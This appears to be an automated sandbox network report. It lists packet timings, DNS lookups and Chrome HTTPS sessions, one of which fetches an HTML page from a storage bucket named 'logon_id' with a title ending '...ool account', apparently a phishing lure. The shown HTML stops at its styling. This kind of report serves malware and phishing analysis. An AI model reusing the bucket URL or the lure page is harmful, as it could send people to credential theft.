Oct 25, 2021 18:17:37.360248089 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360271931 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360294104 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360316992 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360337019 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360357046 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360378027 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360399961 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360424995 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360446930 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360467911 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360488892 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360511065 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360532045 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360553026 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360574961 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360599995 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360621929 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.360829115 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.361188889 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.361469984 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.361773968 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.361803055 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.361825943 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.361849070 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.361866951 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.361887932 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.361911058 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.361932039 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.361953974 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.361974955 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.361994028 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.362015009 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.362036943 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.362061977 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.362083912 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.362103939 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.362124920 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.362147093 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.362166882 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.362293005 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.362690926 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.362993956 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.363289118 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363317966 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363356113 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363379002 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363401890 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363424063 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363445044 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363467932 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363490105 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363512993 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363533974 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363554955 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363575935 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363600016 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363621950 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363642931 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363663912 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363686085 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363711119 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363733053 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363754034 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363776922 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363800049 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363821030 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363842964 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363864899 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.363883972 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.364221096 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.364537001 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.364698887 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.364726067 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.364778996 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.364803076 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.364825010 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.364844084 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.364867926 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.364888906 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.364907980 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.364927053 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.364948988 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.364970922 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.364991903 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.365012884 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.365037918 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.365060091 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.365078926 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.365101099 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.365123034 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.365144968 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.365165949 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.365187883 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.365211964 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.365235090 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.365458965 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.365842104 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.367213011 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367290020 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367331028 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367364883 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367396116 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367428064 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367461920 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367487907 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.367497921 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367537975 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367574930 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367608070 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367640018 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367671967 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367703915 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367737055 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367768049 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367799044 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367820024 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.367832899 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367867947 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367899895 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.367933035 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.368767023 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.368792057 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:37.368968964 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.374805927 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:37.399069071 CEST	443	60983	172.217.168.33	192.168.2.3
Oct 25, 2021 18:17:52.251600027 CEST	60983	443	192.168.2.3	172.217.168.33
Oct 25, 2021 18:17:52.272660017 CEST	443	60983	172.217.168.33	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 25, 2021 18:17:21.570163012 CEST	192.168.2.3	8.8.8.8	0xa93	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:21.573842049 CEST	192.168.2.3	8.8.8.8	0xd1e2	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:21.579152107 CEST	192.168.2.3	8.8.8.8	0x9843	Standard query (0)	00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:22.821840048 CEST	192.168.2.3	8.8.8.8	0x97d2	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:22.823765993 CEST	192.168.2.3	8.8.8.8	0x2c46	Standard query (0)	kit.fontawesome.com	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:22.824618101 CEST	192.168.2.3	8.8.8.8	0xd5cd	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:22.836112022 CEST	192.168.2.3	8.8.8.8	0x3d5e	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:23.184401035 CEST	192.168.2.3	8.8.8.8	0xcdb6	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:23.441365004 CEST	192.168.2.3	8.8.8.8	0x7b42	Standard query (0)	ka-f.fontawesome.com	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:37.115788937 CEST	192.168.2.3	8.8.8.8	0xf742	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 25, 2021 18:17:21.586275101 CEST	8.8.8.8	192.168.2.3	0xa93	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)
Oct 25, 2021 18:17:21.586275101 CEST	8.8.8.8	192.168.2.3	0xa93	No error (0)	clients.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:21.592181921 CEST	8.8.8.8	192.168.2.3	0xd1e2	No error (0)	accounts.google.com		142.250.203.109	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:21.605803013 CEST	8.8.8.8	192.168.2.3	0x9843	No error (0)	00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Oct 25, 2021 18:17:21.605803013 CEST	8.8.8.8	192.168.2.3	0x9843	No error (0)	googlehosted.l.googleusercontent.com		172.217.168.33	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:22.842386007 CEST	8.8.8.8	192.168.2.3	0xd5cd	No error (0)	code.jquery.com	cds.s5x3j6q5.hwcdn.net		CNAME (Canonical name)	IN (0x0001)
Oct 25, 2021 18:17:22.843285084 CEST	8.8.8.8	192.168.2.3	0x97d2	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:22.843285084 CEST	8.8.8.8	192.168.2.3	0x97d2	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:22.844439983 CEST	8.8.8.8	192.168.2.3	0x2c46	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Oct 25, 2021 18:17:22.865195036 CEST	8.8.8.8	192.168.2.3	0x3d5e	No error (0)	cdnjs.cloudflare.com		104.16.19.94	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:22.865195036 CEST	8.8.8.8	192.168.2.3	0x3d5e	No error (0)	cdnjs.cloudflare.com		104.16.18.94	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:23.204210043 CEST	8.8.8.8	192.168.2.3	0xcdb6	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:23.204210043 CEST	8.8.8.8	192.168.2.3	0xcdb6	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:23.397598028 CEST	8.8.8.8	192.168.2.3	0xddf8	No error (0)	gstaticadssl.l.google.com		216.58.215.227	A (IP address)	IN (0x0001)
Oct 25, 2021 18:17:23.464509010 CEST	8.8.8.8	192.168.2.3	0x7b42	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Oct 25, 2021 18:17:37.134380102 CEST	8.8.8.8	192.168.2.3	0xf742	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Oct 25, 2021 18:17:37.134380102 CEST	8.8.8.8	192.168.2.3	0xf742	No error (0)	googlehosted.l.googleusercontent.com		172.217.168.33	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

clients2.google.com

00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com

accounts.google.com

https:

cdnjs.cloudflare.com

maxcdn.bootstrapcdn.com

stackpath.bootstrapcdn.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49744	142.250.181.238	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-25 16:17:22 UTC	0	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda,pkedcjkdefgpdelpbcmbmeomcjbeemfm X-Goog-Update-Updater: chromecrx-85.0.4183.121 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-25 16:17:22 UTC	2	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-0E9my5ilSy5xb9aCQ4TZkw' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 25 Oct 2021 16:17:22 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 5411 X-Daystart: 33442 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2021-10-25 16:17:22 UTC	3	IN	Data Raw: 35 31 65 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 35 34 31 31 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 33 33 34 34 32 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 51e<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="5411" elapsed_seconds="33442"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2021-10-25 16:17:22 UTC	4	IN	Data Raw: 20 66 70 3d 22 31 2e 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 70 6b 65 64 63 6a 6b 64 65 66 67 70 64 65 6c 70 62 63 6d 62 6d 65 6f 6d 63 6a Data Ascii: fp="1.81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app><app appid="pkedcjkdefgpdelpbcmbmeomcj
2021-10-25 16:17:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49746	172.217.168.33	443	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-25 16:17:22 UTC	0	OUT	GET /download/storage/v1/b/logon_id63757945b-32c6-49b0-83e6-1d93765276e7/o/index.html?jk=AFshE3VcvfzNdf-7zMKWd94-4dMrNIkOLLE47CQ43PY7P2MYpfKpiTisbCiM8ITDVUzsV5uBnwUTgNfImCvdn95XFg7yLPb4pK7mGtnykL6H73onzrS0TNqkpgxfmCGl9SjrMUh2HXQovXq0n_fa5hqbVlcfrBGOpBCkBBOuoY-yrNdFJA6qsh5mXJeZJEWhpyesRFni67jgONcRuOW0IhE2TSFjfiZ1kcHtUg4IakFROfuF2ixmgmZ0cygvwFJgzltWAi4BZy9gK7vN7kuIcB7IqaENeixO24771GkuNYSmkiDTJACa0r0VCNPcQlcK5lGRRAu7CmqBicTQElQR1sT8UAlS8qEccylxwvHxtG1ZQipoKLv7jRTmXa5gKf9qryarS-JmN2Dw-wvzqjvQU3ACMffC05IslAl45AuBr7XJD_AvOH4XV0oB1K69D_BJqrPx5F866tHjL87vL2OzmhOn2ZN6fGK9EaMH6l71egHyEMNh69wwpAccwpkljLmJNVIqygOVxaM5girr-FZHO5mJNqOa9bTFJMZFMQk75Bh1YPELgAun31aycC9L1gEIgi9xS2AI2BDHPNQB6OaElZLJZDJIsOs0jHoqoRQa-BsTDGYlSbZcoI1h5QuM3VxHMbmAZYEyCbHgEmb6QFG4Do70MelMz0hmqK1LB3zOLUGQVyL1NduEuvkLQPWtxDQ3Zeb-GyuldZGFe6ZOCmXUvu2OKrXBBFC3a0i4Io1wftvhtL1urvwaLVPFECoQBACGCtpQtZ45u5bBlHyHOYGrix_HPHteuU8UlCF1QPHHFIVg5XjWbBd9deixk_udmpRBTRN6b7-93o-J_Lga6iMebvzrAh6z2qFEd8YAqgMmCaIpY3uuMGkMbvjX_71pF2dS6_eUeo82_XpG60fSB3QZnvV0oMGUvZu6gOHeues8gSXLQCwqfhwa_7AgDj94Gv_4jjp6oSobCikZNfcIVBrhso8uTX4sUJ5X9GsLxXBisRNqpQ&isca=1 HTTP/1.1 Host: 00f74ba44bb50aa58a9dfd79647238a8f996daa403-apidata.googleusercontent.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2021-10-25 16:17:22 UTC	6	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdunHHu2NbsYayN_-kE5b9PSP8s4-KmDk8KrZMl1zsWh2M41fEZXroUCLSUODnOE9gOQdSHUpXFBQ17cIY6xiMvm-6KizA ETag: CO2iyc2/1/MCEAI= X-Goog-Hash: crc32c=WOgM9A==,md5=LboOhPHOW3ca1P8Eos0mgw== Content-Type: text/html X-Goog-Generation: 1634681626972525 X-Goog-Metageneration: 2 X-Goog-Storage-Class: STANDARD Expires: Mon, 25 Oct 2021 16:17:22 GMT Cache-Control: public, max-age=3600, must-revalidate Date: Mon, 25 Oct 2021 16:17:22 GMT Vary: Origin Vary: X-Origin Content-Length: 10273 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000 Connection: close
2021-10-25 16:17:22 UTC	7	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 21 2d 2d 20 42 6f 6f 74 73 74 72 61 70 20 43 53 53 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 78 63 64 6e 2e 62 6f 6f 74 73 74 72 61 70 63 64 6e 2e 63 6f 6d 2f 62 6f 6f 74 73 74 72 61 70 2f 34 2e 30 2e 30 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 6d 69 6e 2e 63 73 73 22 20 69 6e 74 65 67 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> ... Bootstrap CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integ
2021-10-25 16:17:22 UTC	7	IN	Data Raw: 6f 6f 6c 20 61 63 63 6f 75 6e 74 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 30 37 33 43 36 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0d 0a 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 76 68 3b 0d 0a 20 20 Data Ascii: ool account</title> <style type="text/css"> body { background: #0073C6; } .container { width: 100%; display: flex; justify-content: center; align-items: center; height: 100vh;
